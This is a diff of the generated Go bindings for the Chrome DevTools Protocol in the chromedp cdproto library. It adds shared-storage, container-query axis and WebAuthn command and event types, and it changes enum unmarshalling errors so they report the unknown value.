CommandProfilerStopTypeProfile = profiler.CommandStopTypeProfile
CommandProfilerTakePreciseCoverage = profiler.CommandTakePreciseCoverage
CommandProfilerTakeTypeProfile = profiler.CommandTakeTypeProfile
EventProfilerConsoleProfileFinished = "Profiler.consoleProfileFinished"
EventProfilerConsoleProfileStarted = "Profiler.consoleProfileStarted"
EventProfilerPreciseCoverageDeltaUpdate = "Profiler.preciseCoverageDeltaUpdate"
@@ -662,21 +656,32 @@ const (
CommandStorageGetUsageAndQuota = storage.CommandGetUsageAndQuota
CommandStorageOverrideQuotaForOrigin = storage.CommandOverrideQuotaForOrigin
CommandStorageTrackCacheStorageForOrigin = storage.CommandTrackCacheStorageForOrigin
CommandStorageTrackCacheStorageForStorageKey = storage.CommandTrackCacheStorageForStorageKey
CommandStorageTrackIndexedDBForOrigin = storage.CommandTrackIndexedDBForOrigin
CommandStorageTrackIndexedDBForStorageKey = storage.CommandTrackIndexedDBForStorageKey
CommandStorageUntrackCacheStorageForOrigin = storage.CommandUntrackCacheStorageForOrigin
CommandStorageUntrackCacheStorageForStorageKey = storage.CommandUntrackCacheStorageForStorageKey
CommandStorageUntrackIndexedDBForOrigin = storage.CommandUntrackIndexedDBForOrigin
CommandStorageUntrackIndexedDBForStorageKey = storage.CommandUntrackIndexedDBForStorageKey
CommandStorageGetTrustTokens = storage.CommandGetTrustTokens
CommandStorageClearTrustTokens = storage.CommandClearTrustTokens
CommandStorageGetInterestGroupDetails = storage.CommandGetInterestGroupDetails
CommandStorageSetInterestGroupTracking = storage.CommandSetInterestGroupTracking
CommandStorageGetSharedStorageMetadata = storage.CommandGetSharedStorageMetadata
CommandStorageGetSharedStorageEntries = storage.CommandGetSharedStorageEntries
CommandStorageSetSharedStorageEntry = storage.CommandSetSharedStorageEntry
CommandStorageDeleteSharedStorageEntry = storage.CommandDeleteSharedStorageEntry
CommandStorageClearSharedStorageEntries = storage.CommandClearSharedStorageEntries
CommandStorageResetSharedStorageBudget = storage.CommandResetSharedStorageBudget
CommandStorageSetSharedStorageTracking = storage.CommandSetSharedStorageTracking
EventStorageCacheStorageContentUpdated = "Storage.cacheStorageContentUpdated"
EventStorageCacheStorageListUpdated = "Storage.cacheStorageListUpdated"
EventStorageIndexedDBContentUpdated = "Storage.indexedDBContentUpdated"
EventStorageIndexedDBListUpdated = "Storage.indexedDBListUpdated"
EventStorageInterestGroupAccessed = "Storage.interestGroupAccessed"
EventStorageSharedStorageAccessed = "Storage.sharedStorageAccessed"
CommandSystemInfoGetInfo = systeminfo.CommandGetInfo
CommandSystemInfoGetFeatureState = systeminfo.CommandGetFeatureState
CommandSystemInfoGetProcessInfo = systeminfo.CommandGetProcessInfo
CommandTargetActivateTarget = target.CommandActivateTarget
CommandTargetAttachToTarget = target.CommandAttachToTarget
@@ -731,6 +736,7 @@ const (
CommandWebAuthnEnable = webauthn.CommandEnable
CommandWebAuthnDisable = webauthn.CommandDisable
CommandWebAuthnAddVirtualAuthenticator = webauthn.CommandAddVirtualAuthenticator
CommandWebAuthnSetResponseOverrideBits = webauthn.CommandSetResponseOverrideBits
CommandWebAuthnRemoveVirtualAuthenticator = webauthn.CommandRemoveVirtualAuthenticator
CommandWebAuthnAddCredential = webauthn.CommandAddCredential
CommandWebAuthnGetCredential = webauthn.CommandGetCredential
@@ -739,6 +745,8 @@ const (
CommandWebAuthnClearCredentials = webauthn.CommandClearCredentials
CommandWebAuthnSetUserVerified = webauthn.CommandSetUserVerified
CommandWebAuthnSetAutomaticPresenceSimulation = webauthn.CommandSetAutomaticPresenceSimulation
EventWebAuthnCredentialAdded = "WebAuthn.credentialAdded"
EventWebAuthnCredentialAsserted = "WebAuthn.credentialAsserted"
)
// Error error type.
@@ -1572,12 +1580,6 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
case CommandHeadlessExperimentalBeginFrame:
v = new(headlessexperimental.BeginFrameReturns)
case CommandHeadlessExperimentalDisable:
return emptyVal, nil
case CommandHeadlessExperimentalEnable:
return emptyVal, nil
case CommandHeapProfilerAddInspectedHeapObject:
return emptyVal, nil
@@ -1845,9 +1847,6 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
case CommandNetworkEnable:
return emptyVal, nil
case CommandNetworkGetAllCookies:
v = new(network.GetAllCookiesReturns)
case CommandNetworkGetCertificate:
v = new(network.GetCertificateReturns)
@@ -2112,6 +2111,9 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
case CommandPageGetAppID:
v = new(page.GetAppIDReturns)
case CommandPageGetAdScriptID:
v = new(page.GetAdScriptIDReturns)
case CommandPageGetFrameTree:
v = new(page.GetFrameTreeReturns)
@@ -2175,9 +2177,6 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
case CommandPageSetDocumentContent:
return emptyVal, nil
case CommandPageSetDownloadBehavior:
return emptyVal, nil
case CommandPageSetLifecycleEventsEnabled:
return emptyVal, nil
@@ -2325,24 +2324,15 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
case CommandProfilerStartPreciseCoverage:
v = new(profiler.StartPreciseCoverageReturns)
case CommandProfilerStartTypeProfile:
return emptyVal, nil
case CommandProfilerStop:
v = new(profiler.StopReturns)
case CommandProfilerStopPreciseCoverage:
return emptyVal, nil
case CommandProfilerStopTypeProfile:
return emptyVal, nil
case CommandProfilerTakePreciseCoverage:
v = new(profiler.TakePreciseCoverageReturns)
case CommandProfilerTakeTypeProfile:
v = new(profiler.TakeTypeProfileReturns)
case EventProfilerConsoleProfileFinished:
v = new(profiler.EventConsoleProfileFinished)
@@ -2529,6 +2519,9 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
case CommandStorageTrackCacheStorageForOrigin:
return emptyVal, nil
case CommandStorageTrackCacheStorageForStorageKey:
return emptyVal, nil
case CommandStorageTrackIndexedDBForOrigin:
return emptyVal, nil
@@ -2538,6 +2531,9 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
case CommandStorageUntrackCacheStorageForOrigin:
return emptyVal, nil
case CommandStorageUntrackCacheStorageForStorageKey:
return emptyVal, nil
case CommandStorageUntrackIndexedDBForOrigin:
return emptyVal, nil
@@ -2556,6 +2552,27 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
case CommandStorageSetInterestGroupTracking:
return emptyVal, nil
case CommandStorageGetSharedStorageMetadata:
v = new(storage.GetSharedStorageMetadataReturns)
case CommandStorageGetSharedStorageEntries:
v = new(storage.GetSharedStorageEntriesReturns)
case CommandStorageSetSharedStorageEntry:
return emptyVal, nil
case CommandStorageDeleteSharedStorageEntry:
return emptyVal, nil
case CommandStorageClearSharedStorageEntries:
return emptyVal, nil
case CommandStorageResetSharedStorageBudget:
return emptyVal, nil
case CommandStorageSetSharedStorageTracking:
return emptyVal, nil
case EventStorageCacheStorageContentUpdated:
v = new(storage.EventCacheStorageContentUpdated)
@@ -2571,9 +2588,15 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
case EventStorageInterestGroupAccessed:
v = new(storage.EventInterestGroupAccessed)
case EventStorageSharedStorageAccessed:
v = new(storage.EventSharedStorageAccessed)
case CommandSystemInfoGetInfo:
v = new(systeminfo.GetInfoReturns)
case CommandSystemInfoGetFeatureState:
v = new(systeminfo.GetFeatureStateReturns)
case CommandSystemInfoGetProcessInfo:
v = new(systeminfo.GetProcessInfoReturns)
@@ -2736,6 +2759,9 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
case CommandWebAuthnAddVirtualAuthenticator:
v = new(webauthn.AddVirtualAuthenticatorReturns)
case CommandWebAuthnSetResponseOverrideBits:
return emptyVal, nil
case CommandWebAuthnRemoveVirtualAuthenticator:
return emptyVal, nil
@@ -2760,6 +2786,12 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
case CommandWebAuthnSetAutomaticPresenceSimulation:
return emptyVal, nil
case EventWebAuthnCredentialAdded:
v = new(webauthn.EventCredentialAdded)
case EventWebAuthnCredentialAsserted:
v = new(webauthn.EventCredentialAsserted)
default:
return nil, cdp.ErrUnknownCommandOrEvent(msg.Method)
}
+14
View File
@@ -7804,6 +7804,10 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoCss78(in *jlexer.Lexer, out *
out.StyleSheetID = StyleSheetID(in.String())
case "name":
out.Name = string(in.String())
case "physicalAxes":
(out.PhysicalAxes).UnmarshalEasyJSON(in)
case "logicalAxes":
(out.LogicalAxes).UnmarshalEasyJSON(in)
default:
in.SkipRecursive()
}
@@ -7838,6 +7842,16 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoCss78(out *jwriter.Writer, in
out.RawString(prefix)
out.String(string(in.Name))
}
if in.PhysicalAxes != "" {
const prefix string = ",\"physicalAxes\":"
out.RawString(prefix)
(in.PhysicalAxes).MarshalEasyJSON(out)
}
if in.LogicalAxes != "" {
const prefix string = ",\"logicalAxes\":"
out.RawString(prefix)
(in.LogicalAxes).MarshalEasyJSON(out)
}
out.RawByte('}')
}
+14 -9
View File
@@ -3,9 +3,10 @@ package css
// Code generated by cdproto-gen. DO NOT EDIT.
import (
"errors"
"fmt"
"github.com/chromedp/cdproto/cdp"
"github.com/chromedp/cdproto/dom"
"github.com/mailru/easyjson"
"github.com/mailru/easyjson/jlexer"
"github.com/mailru/easyjson/jwriter"
@@ -54,7 +55,8 @@ func (t StyleSheetOrigin) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *StyleSheetOrigin) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch StyleSheetOrigin(in.String()) {
v := in.String()
switch StyleSheetOrigin(v) {
case StyleSheetOriginInjected:
*t = StyleSheetOriginInjected
case StyleSheetOriginUserAgent:
@@ -65,7 +67,7 @@ func (t *StyleSheetOrigin) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = StyleSheetOriginRegular
default:
in.AddError(errors.New("unknown StyleSheetOrigin value"))
in.AddError(fmt.Errorf("unknown StyleSheetOrigin value: %v", v))
}
}
@@ -260,10 +262,12 @@ type MediaQueryExpression struct {
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSContainerQuery
type ContainerQuery struct {
Text string `json:"text"` // Container query text.
Range *SourceRange `json:"range,omitempty"` // The associated rule header range in the enclosing stylesheet (if available).
StyleSheetID StyleSheetID `json:"styleSheetId,omitempty"` // Identifier of the stylesheet containing this object (if exists).
Name string `json:"name,omitempty"` // Optional name for the container.
Text string `json:"text"` // Container query text.
Range *SourceRange `json:"range,omitempty"` // The associated rule header range in the enclosing stylesheet (if available).
StyleSheetID StyleSheetID `json:"styleSheetId,omitempty"` // Identifier of the stylesheet containing this object (if exists).
Name string `json:"name,omitempty"` // Optional name for the container.
PhysicalAxes dom.PhysicalAxes `json:"physicalAxes,omitempty"` // Optional physical axes queried for the container.
LogicalAxes dom.LogicalAxes `json:"logicalAxes,omitempty"` // Optional logical axes queried for the container.
}
// Supports CSS Supports at-rule descriptor.
@@ -405,7 +409,8 @@ func (t MediaSource) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *MediaSource) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch MediaSource(in.String()) {
v := in.String()
switch MediaSource(v) {
case MediaSourceMediaRule:
*t = MediaSourceMediaRule
case MediaSourceImportRule:
@@ -416,7 +421,7 @@ func (t *MediaSource) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = MediaSourceInlineSheet
default:
in.AddError(errors.New("unknown MediaSource value"))
in.AddError(fmt.Errorf("unknown MediaSource value: %v", v))
}
}
+4 -4
View File
@@ -953,15 +953,15 @@ func (p *SetBreakpointsActiveParams) Do(ctx context.Context) (err error) {
}
// SetPauseOnExceptionsParams defines pause on exceptions state. Can be set
// to stop on all exceptions, uncaught exceptions or no exceptions. Initial
// pause on exceptions state is none.
// to stop on all exceptions, uncaught exceptions, or caught exceptions, no
// exceptions. Initial pause on exceptions state is none.
type SetPauseOnExceptionsParams struct {
State ExceptionsState `json:"state"` // Pause on exceptions mode.
}
// SetPauseOnExceptions defines pause on exceptions state. Can be set to stop
// on all exceptions, uncaught exceptions or no exceptions. Initial pause on
// exceptions state is none.
// on all exceptions, uncaught exceptions, or caught exceptions, no exceptions.
// Initial pause on exceptions state is none.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#method-setPauseOnExceptions
//
+34 -21
View File
@@ -3,7 +3,7 @@ package debugger
// Code generated by cdproto-gen. DO NOT EDIT.
import (
"errors"
"fmt"
"github.com/chromedp/cdproto/runtime"
"github.com/mailru/easyjson"
@@ -136,14 +136,15 @@ func (t ScriptLanguage) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *ScriptLanguage) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch ScriptLanguage(in.String()) {
v := in.String()
switch ScriptLanguage(v) {
case ScriptLanguageJavaScript:
*t = ScriptLanguageJavaScript
case ScriptLanguageWebAssembly:
*t = ScriptLanguageWebAssembly
default:
in.AddError(errors.New("unknown ScriptLanguage value"))
in.AddError(fmt.Errorf("unknown ScriptLanguage value: %v", v))
}
}
@@ -196,7 +197,8 @@ func (t ScopeType) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *ScopeType) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch ScopeType(in.String()) {
v := in.String()
switch ScopeType(v) {
case ScopeTypeGlobal:
*t = ScopeTypeGlobal
case ScopeTypeLocal:
@@ -219,7 +221,7 @@ func (t *ScopeType) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = ScopeTypeWasmExpressionStack
default:
in.AddError(errors.New("unknown ScopeType value"))
in.AddError(fmt.Errorf("unknown ScopeType value: %v", v))
}
}
@@ -257,7 +259,8 @@ func (t BreakLocationType) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *BreakLocationType) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch BreakLocationType(in.String()) {
v := in.String()
switch BreakLocationType(v) {
case BreakLocationTypeDebuggerStatement:
*t = BreakLocationTypeDebuggerStatement
case BreakLocationTypeCall:
@@ -266,7 +269,7 @@ func (t *BreakLocationType) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = BreakLocationTypeReturn
default:
in.AddError(errors.New("unknown BreakLocationType value"))
in.AddError(fmt.Errorf("unknown BreakLocationType value: %v", v))
}
}
@@ -305,7 +308,8 @@ func (t DebugSymbolsType) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *DebugSymbolsType) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch DebugSymbolsType(in.String()) {
v := in.String()
switch DebugSymbolsType(v) {
case DebugSymbolsTypeNone:
*t = DebugSymbolsTypeNone
case DebugSymbolsTypeSourceMap:
@@ -316,7 +320,7 @@ func (t *DebugSymbolsType) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = DebugSymbolsTypeExternalDWARF
default:
in.AddError(errors.New("unknown DebugSymbolsType value"))
in.AddError(fmt.Errorf("unknown DebugSymbolsType value: %v", v))
}
}
@@ -363,7 +367,8 @@ func (t PausedReason) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *PausedReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch PausedReason(in.String()) {
v := in.String()
switch PausedReason(v) {
case PausedReasonAmbiguous:
*t = PausedReasonAmbiguous
case PausedReasonAssert:
@@ -390,7 +395,7 @@ func (t *PausedReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = PausedReasonXHR
default:
in.AddError(errors.New("unknown PausedReason value"))
in.AddError(fmt.Errorf("unknown PausedReason value: %v", v))
}
}
@@ -427,14 +432,15 @@ func (t ContinueToLocationTargetCallFrames) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *ContinueToLocationTargetCallFrames) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch ContinueToLocationTargetCallFrames(in.String()) {
v := in.String()
switch ContinueToLocationTargetCallFrames(v) {
case ContinueToLocationTargetCallFramesAny:
*t = ContinueToLocationTargetCallFramesAny
case ContinueToLocationTargetCallFramesCurrent:
*t = ContinueToLocationTargetCallFramesCurrent
default:
in.AddError(errors.New("unknown ContinueToLocationTargetCallFrames value"))
in.AddError(fmt.Errorf("unknown ContinueToLocationTargetCallFrames value: %v", v))
}
}
@@ -471,12 +477,13 @@ func (t RestartFrameMode) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *RestartFrameMode) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch RestartFrameMode(in.String()) {
v := in.String()
switch RestartFrameMode(v) {
case RestartFrameModeStepInto:
*t = RestartFrameModeStepInto
default:
in.AddError(errors.New("unknown RestartFrameMode value"))
in.AddError(fmt.Errorf("unknown RestartFrameMode value: %v", v))
}
}
@@ -513,14 +520,15 @@ func (t SetInstrumentationBreakpointInstrumentation) MarshalJSON() ([]byte, erro
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *SetInstrumentationBreakpointInstrumentation) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch SetInstrumentationBreakpointInstrumentation(in.String()) {
v := in.String()
switch SetInstrumentationBreakpointInstrumentation(v) {
case SetInstrumentationBreakpointInstrumentationBeforeScriptExecution:
*t = SetInstrumentationBreakpointInstrumentationBeforeScriptExecution
case SetInstrumentationBreakpointInstrumentationBeforeScriptWithSourceMapExecution:
*t = SetInstrumentationBreakpointInstrumentationBeforeScriptWithSourceMapExecution
default:
in.AddError(errors.New("unknown SetInstrumentationBreakpointInstrumentation value"))
in.AddError(fmt.Errorf("unknown SetInstrumentationBreakpointInstrumentation value: %v", v))
}
}
@@ -542,6 +550,7 @@ func (t ExceptionsState) String() string {
// ExceptionsState values.
const (
ExceptionsStateNone ExceptionsState = "none"
ExceptionsStateCaught ExceptionsState = "caught"
ExceptionsStateUncaught ExceptionsState = "uncaught"
ExceptionsStateAll ExceptionsState = "all"
)
@@ -558,16 +567,19 @@ func (t ExceptionsState) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *ExceptionsState) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch ExceptionsState(in.String()) {
v := in.String()
switch ExceptionsState(v) {
case ExceptionsStateNone:
*t = ExceptionsStateNone
case ExceptionsStateCaught:
*t = ExceptionsStateCaught
case ExceptionsStateUncaught:
*t = ExceptionsStateUncaught
case ExceptionsStateAll:
*t = ExceptionsStateAll
default:
in.AddError(errors.New("unknown ExceptionsState value"))
in.AddError(fmt.Errorf("unknown ExceptionsState value: %v", v))
}
}
@@ -608,7 +620,8 @@ func (t SetScriptSourceStatus) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *SetScriptSourceStatus) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch SetScriptSourceStatus(in.String()) {
v := in.String()
switch SetScriptSourceStatus(v) {
case SetScriptSourceStatusOk:
*t = SetScriptSourceStatusOk
case SetScriptSourceStatusCompileError:
@@ -619,7 +632,7 @@ func (t *SetScriptSourceStatus) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = SetScriptSourceStatusBlockedByActiveFunction
default:
in.AddError(errors.New("unknown SetScriptSourceStatus value"))
in.AddError(fmt.Errorf("unknown SetScriptSourceStatus value: %v", v))
}
}
+24 -10
View File
@@ -1746,19 +1746,21 @@ func (p *GetFrameOwnerParams) Do(ctx context.Context) (backendNodeID cdp.Backend
return res.BackendNodeID, res.NodeID, nil
}
// GetContainerForNodeParams returns the container of the given node based on
// container query conditions. If containerName is given, it will find the
// nearest container with a matching name; otherwise it will find the nearest
// container regardless of its container name.
// GetContainerForNodeParams returns the query container of the given node
// based on container query conditions: containerName, physical, and logical
// axes. If no axes are provided, the style container is returned, which is the
// direct parent or the closest element with a matching container-name.
type GetContainerForNodeParams struct {
NodeID cdp.NodeID `json:"nodeId"`
ContainerName string `json:"containerName,omitempty"`
NodeID cdp.NodeID `json:"nodeId"`
ContainerName string `json:"containerName,omitempty"`
PhysicalAxes PhysicalAxes `json:"physicalAxes,omitempty"`
LogicalAxes LogicalAxes `json:"logicalAxes,omitempty"`
}
// GetContainerForNode returns the container of the given node based on
// container query conditions. If containerName is given, it will find the
// nearest container with a matching name; otherwise it will find the nearest
// container regardless of its container name.
// GetContainerForNode returns the query container of the given node based on
// container query conditions: containerName, physical, and logical axes. If no
// axes are provided, the style container is returned, which is the direct
// parent or the closest element with a matching container-name.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/DOM#method-getContainerForNode
//
@@ -1777,6 +1779,18 @@ func (p GetContainerForNodeParams) WithContainerName(containerName string) *GetC
return &p
}
// WithPhysicalAxes [no description].
func (p GetContainerForNodeParams) WithPhysicalAxes(physicalAxes PhysicalAxes) *GetContainerForNodeParams {
p.PhysicalAxes = physicalAxes
return &p
}
// WithLogicalAxes [no description].
func (p GetContainerForNodeParams) WithLogicalAxes(logicalAxes LogicalAxes) *GetContainerForNodeParams {
p.LogicalAxes = logicalAxes
return &p
}
// GetContainerForNodeReturns return values.
type GetContainerForNodeReturns struct {
NodeID cdp.NodeID `json:"nodeId,omitempty"` // The container node for the given node, or null if not found.
+14
View File
@@ -4803,6 +4803,10 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDom59(in *jlexer.Lexer, out *
(out.NodeID).UnmarshalEasyJSON(in)
case "containerName":
out.ContainerName = string(in.String())
case "physicalAxes":
(out.PhysicalAxes).UnmarshalEasyJSON(in)
case "logicalAxes":
(out.LogicalAxes).UnmarshalEasyJSON(in)
default:
in.SkipRecursive()
}
@@ -4827,6 +4831,16 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDom59(out *jwriter.Writer, in
out.RawString(prefix)
out.String(string(in.ContainerName))
}
if in.PhysicalAxes != "" {
const prefix string = ",\"physicalAxes\":"
out.RawString(prefix)
(in.PhysicalAxes).MarshalEasyJSON(out)
}
if in.LogicalAxes != "" {
const prefix string = ",\"logicalAxes\":"
out.RawString(prefix)
(in.LogicalAxes).MarshalEasyJSON(out)
}
out.RawByte('}')
}
+100 -3
View File
@@ -3,13 +3,109 @@ package dom
// Code generated by cdproto-gen. DO NOT EDIT.
import (
"errors"
"fmt"
"github.com/mailru/easyjson"
"github.com/mailru/easyjson/jlexer"
"github.com/mailru/easyjson/jwriter"
)
// PhysicalAxes containerSelector physical axes.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/DOM#type-PhysicalAxes
type PhysicalAxes string
// String returns the PhysicalAxes as string value.
func (t PhysicalAxes) String() string {
return string(t)
}
// PhysicalAxes values.
const (
PhysicalAxesHorizontal PhysicalAxes = "Horizontal"
PhysicalAxesVertical PhysicalAxes = "Vertical"
PhysicalAxesBoth PhysicalAxes = "Both"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
func (t PhysicalAxes) MarshalEasyJSON(out *jwriter.Writer) {
out.String(string(t))
}
// MarshalJSON satisfies json.Marshaler.
func (t PhysicalAxes) MarshalJSON() ([]byte, error) {
return easyjson.Marshal(t)
}
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *PhysicalAxes) UnmarshalEasyJSON(in *jlexer.Lexer) {
v := in.String()
switch PhysicalAxes(v) {
case PhysicalAxesHorizontal:
*t = PhysicalAxesHorizontal
case PhysicalAxesVertical:
*t = PhysicalAxesVertical
case PhysicalAxesBoth:
*t = PhysicalAxesBoth
default:
in.AddError(fmt.Errorf("unknown PhysicalAxes value: %v", v))
}
}
// UnmarshalJSON satisfies json.Unmarshaler.
func (t *PhysicalAxes) UnmarshalJSON(buf []byte) error {
return easyjson.Unmarshal(buf, t)
}
// LogicalAxes containerSelector logical axes.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/DOM#type-LogicalAxes
type LogicalAxes string
// String returns the LogicalAxes as string value.
func (t LogicalAxes) String() string {
return string(t)
}
// LogicalAxes values.
const (
LogicalAxesInline LogicalAxes = "Inline"
LogicalAxesBlock LogicalAxes = "Block"
LogicalAxesBoth LogicalAxes = "Both"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
func (t LogicalAxes) MarshalEasyJSON(out *jwriter.Writer) {
out.String(string(t))
}
// MarshalJSON satisfies json.Marshaler.
func (t LogicalAxes) MarshalJSON() ([]byte, error) {
return easyjson.Marshal(t)
}
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *LogicalAxes) UnmarshalEasyJSON(in *jlexer.Lexer) {
v := in.String()
switch LogicalAxes(v) {
case LogicalAxesInline:
*t = LogicalAxesInline
case LogicalAxesBlock:
*t = LogicalAxesBlock
case LogicalAxesBoth:
*t = LogicalAxesBoth
default:
in.AddError(fmt.Errorf("unknown LogicalAxes value: %v", v))
}
}
// UnmarshalJSON satisfies json.Unmarshaler.
func (t *LogicalAxes) UnmarshalJSON(buf []byte) error {
return easyjson.Unmarshal(buf, t)
}
// Quad an array of quad vertices, x immediately followed by y for each
// point, points clock-wise.
//
@@ -85,14 +181,15 @@ func (t EnableIncludeWhitespace) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *EnableIncludeWhitespace) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch EnableIncludeWhitespace(in.String()) {
v := in.String()
switch EnableIncludeWhitespace(v) {
case EnableIncludeWhitespaceNone:
*t = EnableIncludeWhitespaceNone
case EnableIncludeWhitespaceAll:
*t = EnableIncludeWhitespaceAll
default:
in.AddError(errors.New("unknown EnableIncludeWhitespace value"))
in.AddError(fmt.Errorf("unknown EnableIncludeWhitespace value: %v", v))
}
}
+7 -5
View File
@@ -3,7 +3,7 @@ package domdebugger
// Code generated by cdproto-gen. DO NOT EDIT.
import (
"errors"
"fmt"
"github.com/chromedp/cdproto/cdp"
"github.com/chromedp/cdproto/runtime"
@@ -41,7 +41,8 @@ func (t DOMBreakpointType) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *DOMBreakpointType) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch DOMBreakpointType(in.String()) {
v := in.String()
switch DOMBreakpointType(v) {
case DOMBreakpointTypeSubtreeModified:
*t = DOMBreakpointTypeSubtreeModified
case DOMBreakpointTypeAttributeModified:
@@ -50,7 +51,7 @@ func (t *DOMBreakpointType) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = DOMBreakpointTypeNodeRemoved
default:
in.AddError(errors.New("unknown DOMBreakpointType value"))
in.AddError(fmt.Errorf("unknown DOMBreakpointType value: %v", v))
}
}
@@ -87,14 +88,15 @@ func (t CSPViolationType) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *CSPViolationType) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch CSPViolationType(in.String()) {
v := in.String()
switch CSPViolationType(v) {
case CSPViolationTypeTrustedtypeSinkViolation:
*t = CSPViolationTypeTrustedtypeSinkViolation
case CSPViolationTypeTrustedtypePolicyViolation:
*t = CSPViolationTypeTrustedtypePolicyViolation
default:
in.AddError(errors.New("unknown CSPViolationType value"))
in.AddError(fmt.Errorf("unknown CSPViolationType value: %v", v))
}
}
+19 -16
View File
@@ -3,7 +3,7 @@ package emulation
// Code generated by cdproto-gen. DO NOT EDIT.
import (
"errors"
"fmt"
"github.com/mailru/easyjson"
"github.com/mailru/easyjson/jlexer"
@@ -68,7 +68,8 @@ func (t VirtualTimePolicy) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *VirtualTimePolicy) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch VirtualTimePolicy(in.String()) {
v := in.String()
switch VirtualTimePolicy(v) {
case VirtualTimePolicyAdvance:
*t = VirtualTimePolicyAdvance
case VirtualTimePolicyPause:
@@ -77,7 +78,7 @@ func (t *VirtualTimePolicy) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = VirtualTimePolicyPauseIfNetworkFetchesPending
default:
in.AddError(errors.New("unknown VirtualTimePolicy value"))
in.AddError(fmt.Errorf("unknown VirtualTimePolicy value: %v", v))
}
}
@@ -125,7 +126,6 @@ func (t DisabledImageType) String() string {
// DisabledImageType values.
const (
DisabledImageTypeAvif DisabledImageType = "avif"
DisabledImageTypeJxl DisabledImageType = "jxl"
DisabledImageTypeWebp DisabledImageType = "webp"
)
@@ -141,16 +141,15 @@ func (t DisabledImageType) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *DisabledImageType) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch DisabledImageType(in.String()) {
v := in.String()
switch DisabledImageType(v) {
case DisabledImageTypeAvif:
*t = DisabledImageTypeAvif
case DisabledImageTypeJxl:
*t = DisabledImageTypeJxl
case DisabledImageTypeWebp:
*t = DisabledImageTypeWebp
default:
in.AddError(errors.New("unknown DisabledImageType value"))
in.AddError(fmt.Errorf("unknown DisabledImageType value: %v", v))
}
}
@@ -189,7 +188,8 @@ func (t OrientationType) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *OrientationType) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch OrientationType(in.String()) {
v := in.String()
switch OrientationType(v) {
case OrientationTypePortraitPrimary:
*t = OrientationTypePortraitPrimary
case OrientationTypePortraitSecondary:
